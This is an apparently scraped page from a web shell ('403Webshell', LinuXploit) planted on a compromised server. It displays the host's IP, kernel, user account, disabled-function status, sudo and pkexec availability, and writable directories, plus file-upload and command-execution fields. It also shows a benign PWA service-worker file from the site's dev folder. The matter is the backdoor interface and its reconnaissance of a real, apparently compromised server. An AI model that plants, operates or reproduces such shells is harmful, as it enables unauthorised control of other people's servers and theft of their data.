403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/service-worker.js
// Installing service worker
const CACHE_NAME = 'ttjs-app';

/* Add relative URL of all the static content you want to store in
 * cache storage (this will help us use our app offline)*/
let resourcesToCache = [];
//let resourcesToCache = ["./", "./img/game.png", "./game.js", "./styles.css"];

self.addEventListener("install", e => {
    e.waitUntil(
            caches.open(CACHE_NAME).then(cache => {
        return cache.addAll(resourcesToCache);
    })
            );
});





// Cache and return requests
self.addEventListener("fetch", e => {
    e.respondWith(
            caches.match(e.request).then(response => {
        return response || fetch(e.request);
    })
            );
});

// Update a service worker
const cacheWhitelist = ['ttjs-app'];
self.addEventListener('activate', event => {
    event.waitUntil(
            caches.keys().then(cacheNames => {
        return Promise.all(
                cacheNames.map(cacheName => {
                    if (cacheWhitelist.indexOf(cacheName) === -1) {
                        return caches.delete(cacheName);
                    }
                })
                );
    })
            );
});

Youez - 2016 - github.com/yon3zu
LinuXploit